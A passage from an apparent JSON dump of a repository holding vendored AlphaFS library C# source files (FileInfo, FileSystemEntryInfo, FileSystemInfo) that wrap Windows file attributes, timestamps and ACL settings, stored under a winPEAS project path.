    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   partial class FileInfo\n   {\n      #region .NET\n\n      /// <summary>Applies access control list (ACL) entries described by a FileSecurity object to the file described by the current FileInfo object.</summary>\n      /// <remarks>\n      ///   The SetAccessControl method applies access control list (ACL) entries to the current file that represents the noninherited ACL\n      ///   list. Use the SetAccessControl method whenever you need to add or remove ACL entries from a file.\n      /// </remarks>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity\"/> object that describes an access control list (ACL) entry to apply to the current file.</param>      \n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public void SetAccessControl(FileSecurity fileSecurity)\n      {\n         File.SetAccessControlCore(LongFullName, null, fileSecurity, AccessControlSections.All, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Applies access control list (ACL) entries described by a FileSecurity object to the file described by the current FileInfo object.</summary>\n      /// <remarks>\n      ///   The SetAccessControl method applies access control list (ACL) entries to the current file that represents the noninherited ACL\n      ///   list. Use the SetAccessControl method whenever you need to add or remove ACL entries from a file.\n      /// </remarks>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity\"/> object that describes an access control list (ACL) entry to apply to the current file.</param>\n      /// <param name=\"includeSections\">One or more of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to set.</param>      \n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public void SetAccessControl(FileSecurity fileSecurity, AccessControlSections includeSections)\n      {\n         File.SetAccessControlCore(LongFullName, null, fileSecurity, includeSections, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.IO;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Provides properties and instance methods for the creation, copying, deletion, moving, and opening of files, and aids in the creation of <see cref=\"FileStream\"/> objects. This class cannot be inherited.</summary>\n   [Serializable]\n   public sealed partial class FileInfo : FileSystemInfo\n   {\n      #region Fields\n\n      [NonSerialized]\n      private string _name;\n\n      #endregion // Fields\n\n\n      #region Constructors\n\n      #region .NET\n\n      /// <summary>Initializes a new instance of the <see cref=\"Alphaleonis.Win32.Filesystem.FileInfo\"/> class, which acts as a wrapper for a file path.</summary>\n      /// <param name=\"fileName\">The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character.</param>\n      /// <remarks>This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations.</remarks>\n      public FileInfo(string fileName) : this(null, fileName, PathFormat.RelativePath)\n      {\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"Alphaleonis.Win32.Filesystem.FileInfo\"/> class, which acts as a wrapper for a file path.</summary>\n      /// <param name=\"fileName\">The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <remarks>This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations.</remarks>\n      public FileInfo(string fileName, PathFormat pathFormat) : this(null, fileName, pathFormat)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"Alphaleonis.Win32.Filesystem.FileInfo\"/> class, which acts as a wrapper for a file path.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileName\">The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character.</param>\n      /// <remarks>This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations.</remarks>\n      public FileInfo(KernelTransaction transaction, string fileName) : this(transaction, fileName, PathFormat.RelativePath)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"Alphaleonis.Win32.Filesystem.FileInfo\"/> class, which acts as a wrapper for a file path.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileName\">The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <remarks>This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations.</remarks>\n      public FileInfo(KernelTransaction transaction, string fileName, PathFormat pathFormat)\n      {\n         InitializeCore(transaction, false, fileName, pathFormat);\n\n         _name = Path.GetFileName(Path.RemoveTrailingDirectorySeparator(fileName), pathFormat != PathFormat.LongFullPath);\n      }\n\n      #endregion // Constructors\n\n\n      #region Properties\n\n      #region .NET\n\n      /// <summary>Gets an instance of the parent directory.</summary>\n      /// <value>A <see cref=\"DirectoryInfo\"/> object representing the parent directory of this file.</value>\n      /// <remarks>To get the parent directory as a string, use the DirectoryName property.</remarks>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      public DirectoryInfo Directory\n      {\n         get\n         {\n            var dirName = DirectoryName;\n            return dirName == null ? null : new DirectoryInfo(Transaction, dirName, PathFormat.FullPath);\n         }\n      }\n\n\n      /// <summary>Gets a string representing the directory's full path.</summary>\n      /// <value>A string representing the directory's full path.</value>\n      /// <remarks>\n      ///   <para>To get the parent directory as a DirectoryInfo object, use the Directory property.</para>\n      ///   <para>When first called, FileInfo calls Refresh and caches information about the file.</para>\n      ///   <para>On subsequent calls, you must call Refresh to get the latest copy of the information.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      public string DirectoryName\n      {\n         [SecurityCritical]\n         get { return Path.GetDirectoryName(FullPath, false); }\n      }\n\n\n      /// <summary>Gets a value indicating whether the file exists.</summary>\n      /// <value><c>true</c> if the file exists; otherwise, <c>false</c>.</value>\n      /// <remarks>\n      ///   <para>The <see cref=\"Exists\"/> property returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      public override bool Exists\n      {\n         [SecurityCritical]\n         get\n         {\n            try\n            {\n               if (DataInitialised == -1)\n                  Refresh();\n\n               var attrs = Win32AttributeData.dwFileAttributes;\n\n               return DataInitialised == 0 && File.HasValidAttributes(attrs) && !IsDirectory;\n            }\n            catch\n            {\n               return false;\n            }\n         }\n      }\n\n\n      /// <summary>Gets or sets a value that determines if the current file is read only.</summary>\n      /// <value><c>true</c> if the current file is read only; otherwise, <c>false</c>.</value>\n      /// <remarks>\n      ///   <para>Use the IsReadOnly property to quickly determine or change whether the current file is read only.</para>\n      ///   <para>When first called, FileInfo calls Refresh and caches information about the file.</para>\n      ///   <para>On subsequent calls, you must call Refresh to get the latest copy of the information.</para>\n      /// </remarks>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      public bool IsReadOnly\n      {\n         get { return EntryInfo == null || EntryInfo.IsReadOnly; }\n\n         set\n         {\n            if (value)\n               Attributes |= FileAttributes.ReadOnly;\n            else\n               Attributes &= ~FileAttributes.ReadOnly;\n         }\n      }\n\n\n      /// <summary>Gets the size, in bytes, of the current file.</summary>\n      /// <value>The size of the current file in bytes.</value>\n      /// <remarks>\n      ///   <para>The value of the Length property is pre-cached</para>\n      ///   <para>To get the latest value, call the Refresh method.</para>\n      /// </remarks>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1065:DoNotRaiseExceptionsInUnexpectedLocations\")]\n      public long Length\n      {\n         [SecurityCritical]\n         get\n         {\n            if (DataInitialised == -1)\n            {\n               Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n               Refresh();\n            }\n\n            // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. \n            if (DataInitialised != 0)\n               NativeError.ThrowException(DataInitialised, FullName);\n\n\n            var attrs = Win32AttributeData.dwFileAttributes;\n\n            // MSDN: .NET 3.5+: FileNotFoundException: The file does not exist or the Length property is called for a directory.\n            if (!File.HasValidAttributes(attrs))\n               NativeError.ThrowException(Win32Errors.ERROR_FILE_NOT_FOUND, FullName);\n\n\n            // MSDN: .NET 3.5+: FileNotFoundException: The file does not exist or the Length property is called for a directory.\n            if (File.IsDirectory(attrs))\n               NativeError.ThrowException(Win32Errors.ERROR_FILE_NOT_FOUND, string.Format(CultureInfo.InvariantCulture, Resources.Target_File_Is_A_Directory, FullName));\n\n\n            return Win32AttributeData.FileSize;\n         }\n      }\n\n\n      /// <summary>Gets the name of the file.</summary>\n      /// <value>The name of the file.</value>\n      /// <remarks>\n      ///   <para>The name of the file includes the file extension.</para>\n      ///   <para>When first called, <see cref=\"FileInfo\"/> calls Refresh and caches information about the file.</para>\n      ///   <para>On subsequent calls, you must call Refresh to get the latest copy of the information.</para>\n      ///   <para>The name of the file includes the file extension.</para>\n      /// </remarks>\n      public override string Name\n      {\n         get { return _name; }\n      }\n\n      #endregion // .NET\n\n      #endregion // Properties\n\n\n      #region Methods\n\n      /// <summary>Returns the path as a string.</summary>\n      /// <returns>The path.</returns>\n      public override string ToString()\n      {\n         return DisplayPath;\n      }\n\n      #endregion // Methods\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileSystemEntryInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Represents information about a file system entry.\n   /// <para>This class cannot be inherited.</para>\n   /// </summary>\n   [Serializable]\n   [SecurityCritical]\n   public sealed class FileSystemEntryInfo : IEquatable<FileSystemEntryInfo>\n   {\n      #region Fields\n\n      private string _fullPath;\n      private string _longFullPath;\n\n      #endregion // Fields\n\n\n      #region Constructor\n\n      /// <summary>Initializes a new instance of the <see cref=\"FileSystemEntryInfo\"/> class.</summary>\n      /// <param name=\"findData\">The NativeMethods.WIN32_FIND_DATA structure.</param>\n      internal FileSystemEntryInfo(NativeMethods.WIN32_FIND_DATA findData)\n      {\n         Win32FindData = findData;\n      }\n\n      #endregion // Constructor\n\n\n      #region Properties\n\n      /// <summary>The instance 8.3 version of the filename.</summary>\n      public string AlternateFileName\n      {\n         // This property is always empty when NativeMethods.FINDEX_INFO_LEVELS.Basic is used.\n\n         get { return Win32FindData.cAlternateFileName; }\n      }\n\n\n      /// <summary>The instance attributes.</summary>\n      public FileAttributes Attributes\n      {\n         get { return Win32FindData.dwFileAttributes; }\n      }\n\n\n      /// <summary>The instance creation time.</summary>\n      public DateTime CreationTime\n      {\n         get { return CreationTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>The instance creation time, in coordinated universal time (UTC).</summary>\n      public DateTime CreationTimeUtc\n      {\n         get { return DateTime.FromFileTimeUtc(Win32FindData.ftCreationTime); }\n      }\n\n\n      /// <summary>The instance file extension.</summary>\n      public string Extension\n      {\n         get { return Path.GetExtension(Win32FindData.cFileName, false); }\n      }\n\n\n      /// <summary>The instance file name.</summary>\n      public string FileName\n      {\n         get { return Win32FindData.cFileName; }\n      }\n\n\n      /// <summary>The instance file size.</summary>\n      public long FileSize\n      {\n         get { return NativeMethods.ToLong(Win32FindData.nFileSizeHigh, Win32FindData.nFileSizeLow); }\n      }\n\n      \n      /// <summary>The instance full path.</summary>\n      public string FullPath\n      {\n         get { return _fullPath; }\n\n         set\n         {\n            LongFullPath = value;\n            _fullPath = Path.GetRegularPathCore(LongFullPath, GetFullPathOptions.None, false);\n         }\n      }\n\n\n      /// <summary>The instance is a candidate for backup or removal. </summary>\n      public bool IsArchive\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Archive) != 0; }\n      }\n\n\n      /// <summary>The instance is compressed.</summary>\n      public bool IsCompressed\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Compressed) != 0; }\n      }\n\n\n      /// <summary>Reserved for future use.</summary>\n      public bool IsDevice\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Device) != 0; }\n      }\n\n\n      /// <summary>The instance is a directory.</summary>\n      public bool IsDirectory\n      {\n         get { return File.IsDirectory(Attributes); }\n      }\n\n\n      /// <summary>The instance is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and directories.</summary>\n      public bool IsEncrypted\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Encrypted) != 0; }\n      }\n\n\n      /// <summary>The instance is hidden, and thus is not included in an ordinary directory listing.</summary>\n      public bool IsHidden\n      {\n         get { return File.IsHidden(Attributes); }\n      }\n\n\n      /// <summary>The instance is a mount point. Applicable to local directories and local volumes.</summary>\n      public bool IsMountPoint\n      {\n         get { return ReparsePointTag == ReparsePointTag.MountPoint; }\n      }\n\n\n      /// <summary>The instance is a standard file that has no special attributes. This attribute is valid only if it is used alone.</summary>\n      public bool IsNormal\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Normal) != 0; }\n      }\n\n\n      /// <summary>The instance will not be indexed by the operating system's content indexing service.</summary>\n      public bool IsNotContentIndexed\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.NotContentIndexed) != 0; }\n      }\n\n\n      /// <summary>The instance is offline. The data of the file is not immediately available.</summary>\n      public bool IsOffline\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Offline) != 0; }\n      }\n\n\n      /// <summary>The instance is read-only.</summary>\n      public bool IsReadOnly\n      {\n         get { return File.IsReadOnly(Attributes); }\n      }\n\n\n      /// <summary>The instance contains a reparse point, which is a block of user-defined data associated with a file or a directory.</summary>\n      public bool IsReparsePoint\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.ReparsePoint) != 0; }\n      }\n\n\n      /// <summary>The instance is a sparse file. Sparse files are typically large files whose data consists of mostly zeros.</summary>\n      public bool IsSparseFile\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.SparseFile) != 0; }\n      }\n\n\n      /// <summary>The instance is a symbolic link.</summary>\n      public bool IsSymbolicLink\n      {\n         get { return ReparsePointTag == ReparsePointTag.SymLink; }\n      }\n\n\n      /// <summary>The instance is a system file. That is, the file is part of the operating system or is used exclusively by the operating system.</summary>\n      public bool IsSystem\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.System) != 0; }\n      }\n\n\n      /// <summary>The instance is temporary. A temporary file contains data that is needed while an application is executing but is not needed after the application is finished.\n      /// File systems try to keep all the data in memory for quicker access rather than flushing the data back to mass storage.\n      /// A temporary file should be deleted by the application as soon as it is no longer needed.</summary>\n      public bool IsTemporary\n      {\n         get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Temporary) != 0; }\n      }\n\n\n      /// <summary>The instance time this entry was last accessed.</summary>\n      public DateTime LastAccessTime\n      {\n         get { return LastAccessTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>The instance time, in coordinated universal time (UTC), this entry was last accessed.</summary>\n      public DateTime LastAccessTimeUtc\n      {\n         get { return DateTime.FromFileTimeUtc(Win32FindData.ftLastAccessTime); }\n      }\n\n\n      /// <summary>The instance time this entry was last modified.</summary>\n      public DateTime LastWriteTime\n      {\n         get { return LastWriteTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>The instance time, in coordinated universal time (UTC), this entry was last modified.</summary>\n      public DateTime LastWriteTimeUtc\n      {\n         get { return DateTime.FromFileTimeUtc(Win32FindData.ftLastWriteTime); }\n      }\n\n\n      /// <summary>The instance full path in long path format.</summary>\n      public string LongFullPath\n      {\n         get { return _longFullPath; }\n\n         private set { _longFullPath = Path.GetLongPathCore(value, GetFullPathOptions.None); }\n      }\n\n\n      /// <summary>The instance reparse point tag.</summary>\n      public ReparsePointTag ReparsePointTag\n      {\n         get { return IsReparsePoint ? Win32FindData.dwReserved0 : ReparsePointTag.None; }\n      }\n\n\n      /// <summary>The instance internal WIN32 FIND Data</summary>\n      internal NativeMethods.WIN32_FIND_DATA Win32FindData { get; private set; }\n\n      #endregion // Properties\n\n\n      #region Methods\n\n      /// <summary>Returns the <see cref=\"FullPath\"/> of the FileSystemEntryInfo instance.</summary>\n      /// <returns>Returns the <see cref=\"FullPath\"/> of the FileSystemEntryInfo instance.</returns>\n      public override string ToString()\n      {\n         return FullPath;\n      }\n\n\n      /// <summary>Serves as a hash function for a particular type.</summary>\n      /// <returns>A hash code for the current Object.</returns>\n      public override int GetHashCode()\n      {\n         return Utils.CombineHashCodesOf(FullPath, LongFullPath);\n      }\n\n\n      /// <summary>Determines whether the specified Object is equal to the current Object.</summary>\n      /// <param name=\"other\">Another <see cref=\"FileSystemInfo\"/> instance to compare to.</param>\n      /// <returns><c>true</c> if the specified Object is equal to the current Object; otherwise, <c>false</c>.</returns>\n      public bool Equals(FileSystemEntryInfo other)\n      {\n         return null != other && GetType() == other.GetType() &&\n                Equals(FileName, other.FileName) &&\n                Equals(FullPath, other.FullPath) &&\n                Equals(Attributes, other.Attributes) &&\n                Equals(CreationTimeUtc, other.CreationTimeUtc) &&\n                Equals(LastAccessTimeUtc, other.LastAccessTimeUtc);\n      }\n\n\n      /// <summary>Determines whether the specified Object is equal to the current Object.</summary>\n      /// <param name=\"obj\">Another object to compare to.</param>\n      /// <returns><c>true</c> if the specified Object is equal to the current Object; otherwise, <c>false</c>.</returns>\n      public override bool Equals(object obj)\n      {\n         var other = obj as FileSystemEntryInfo;\n\n         return null != other && Equals(other);\n      }\n\n\n      /// <summary>Implements the operator ==</summary>\n      /// <param name=\"left\">A.</param>\n      /// <param name=\"right\">B.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator ==(FileSystemEntryInfo left, FileSystemEntryInfo right)\n      {\n         return ReferenceEquals(left, null) && ReferenceEquals(right, null) ||\n                !ReferenceEquals(left, null) && !ReferenceEquals(right, null) && left.Equals(right);\n      }\n\n\n      /// <summary>Implements the operator !=</summary>\n      /// <param name=\"left\">A.</param>\n      /// <param name=\"right\">B.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator !=(FileSystemEntryInfo left, FileSystemEntryInfo right)\n      {\n         return !(left == right);\n      }\n      #endregion // Methods\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileSystemInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Provides the base class for both <see cref=\"FileInfo\"/> and <see cref=\"DirectoryInfo\"/> objects.</summary>\n   [Serializable]\n   [ComVisible(true)]\n   public abstract class FileSystemInfo : MarshalByRefObject, IEquatable<FileSystemInfo>\n   {\n      #region Fields\n\n      #region .NET\n\n      /// <summary>Represents the fully qualified path of the file or directory.</summary>\n      /// <remarks>\n      ///   <para>Classes derived from <see cref=\"FileSystemInfo\"/> can use the FullPath field</para>\n      ///   <para>to determine the full path of the object being manipulated.</para>\n      /// </remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1051:DoNotDeclareVisibleInstanceFields\")]\n      protected string FullPath;\n\n      /// <summary>The path originally specified by the user, whether relative or absolute.</summary>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1051:DoNotDeclareVisibleInstanceFields\")]\n      protected string OriginalPath;\n\n      #endregion // .NET\n\n\n      // We use this field in conjunction with the Refresh methods, if we succeed we store a zero,\n      // on failure we store the HResult in it so that we can give back a generic error back.\n      [NonSerialized] internal int DataInitialised = -1;\n\n\n      // The pre-cached FileSystemInfo information.\n      [NonSerialized] internal NativeMethods.WIN32_FILE_ATTRIBUTE_DATA Win32AttributeData;\n\n      #endregion // Fields\n\n\n      #region Properties\n\n      #region .NET\n\n      /// <summary>Gets or sets the attributes for the current file or directory.</summary>\n      /// <remarks>\n      ///   <para>The value of the CreationTime property is pre-cached</para>\n      ///   <para>To get the latest value, call the Refresh method.</para>\n      /// </remarks>\n      /// <value><see cref=\"FileAttributes\"/> of the current <see cref=\"FileSystemInfo\"/>.</value>\n      ///\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      public FileAttributes Attributes\n      {\n         [SecurityCritical]\n         get\n         {\n            if (DataInitialised == -1)\n            {\n               Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n               Refresh();\n            }\n\n            // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. \n\n            if (DataInitialised != 0)\n               NativeError.ThrowException(DataInitialised, FullPath);\n\n            return Win32AttributeData.dwFileAttributes;\n         }\n\n\n         [SecurityCritical]\n         set\n         {\n            File.SetAttributesCore(Transaction, IsDirectory, LongFullName, value, PathFormat.LongFullPath);\n            Reset();\n         }\n      }\n\n\n      /// <summary>Gets or sets the creation time of the current file or directory.</summary>\n      /// <remarks>\n      ///   <para>The value of the CreationTime property is pre-cached To get the latest value, call the Refresh method.</para>\n      ///   <para>This method may return an inaccurate value, because it uses native functions whose values may not be continuously updated by\n      ///   the operating system.</para>\n      ///   <para>If the file described in the FileSystemInfo object does not exist, this property will return\n      ///   12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time.</para>\n      ///   <para>NTFS-formatted drives may cache file meta-info, such as file creation time, for a short period of time.\n      ///   This process is known as file tunneling. As a result, it may be necessary to explicitly set the creation time of a file if you are\n      ///   overwriting or replacing an existing file.</para>\n      /// </remarks>\n      /// <value>The creation date and time of the current <see cref=\"FileSystemInfo\"/> object.</value>\n      ///\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      public DateTime CreationTime\n      {\n         [SecurityCritical] get { return CreationTimeUtc.ToLocalTime(); }\n\n         [SecurityCritical] set { CreationTimeUtc = value.ToUniversalTime(); }\n      }\n\n\n      /// <summary>Gets or sets the creation time, in coordinated universal time (UTC), of the current file or directory.</summary>\n      /// <remarks>\n      ///   <para>The value of the CreationTimeUtc property is pre-cached\n      ///   To get the latest value, call the Refresh method.</para>\n      ///   <para>This method may return an inaccurate value, because it uses native functions\n      ///   whose values may not be continuously updated by the operating system.</para>\n      ///   <para>To get the latest value, call the Refresh method.</para>\n      ///   <para>If the file described in the FileSystemInfo object does not exist, this property will return\n      ///   12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC).</para>\n      ///   <para>NTFS-formatted drives may cache file meta-info, such as file creation time, for a short period of time.\n      ///   This process is known as file tunneling. As a result, it may be necessary to explicitly set the creation time\n      ///   of a file if you are overwriting or replacing an existing file.</para>\n      /// </remarks>\n      /// <value>The creation date and time in UTC format of the current <see cref=\"FileSystemInfo\"/> object.</value>\n      ///\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      [ComVisible(false)]\n      public DateTime CreationTimeUtc\n      {\n         [SecurityCritical]\n         get\n         {\n            if (DataInitialised == -1)\n            {\n               Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n               Refresh();\n            }\n\n            // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. \n            if (DataInitialised != 0)\n               NativeError.ThrowException(DataInitialised, LongFullName);\n\n            return DateTime.FromFileTimeUtc(Win32AttributeData.ftCreationTime);\n         }\n\n\n         [SecurityCritical]\n         set\n         {\n            File.SetFsoDateTimeCore(Transaction, IsDirectory, LongFullName, value, null, null, false, PathFormat.LongFullPath);\n\n            Reset();\n         }\n      }\n\n\n      /// <summary>Gets a value indicating whether the file or directory exists.</summary>\n      /// <remarks>\n      ///   <para>The <see cref=\"Exists\"/> property returns <c>false</c> if any error occurs while trying to determine if the\n      ///   specified file or directory exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a directory- or file name with invalid characters or too\n      ///   many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file or directory.</para>\n      /// </remarks>\n      /// <value><c>true</c> if the file or directory exists; otherwise, <c>false</c>.</value>\n      public abstract bool Exists { get; }\n\n\n      /// <summary>Gets the string representing the extension part of the file.</summary>\n      /// <remarks>\n      ///   The Extension property returns the <see cref=\"FileSystemInfo\"/> extension, including the period (.).\n      ///   For example, for a file c:\\NewFile.txt, this property returns \".txt\".\n      /// </remarks>\n      /// <value>A string containing the <see 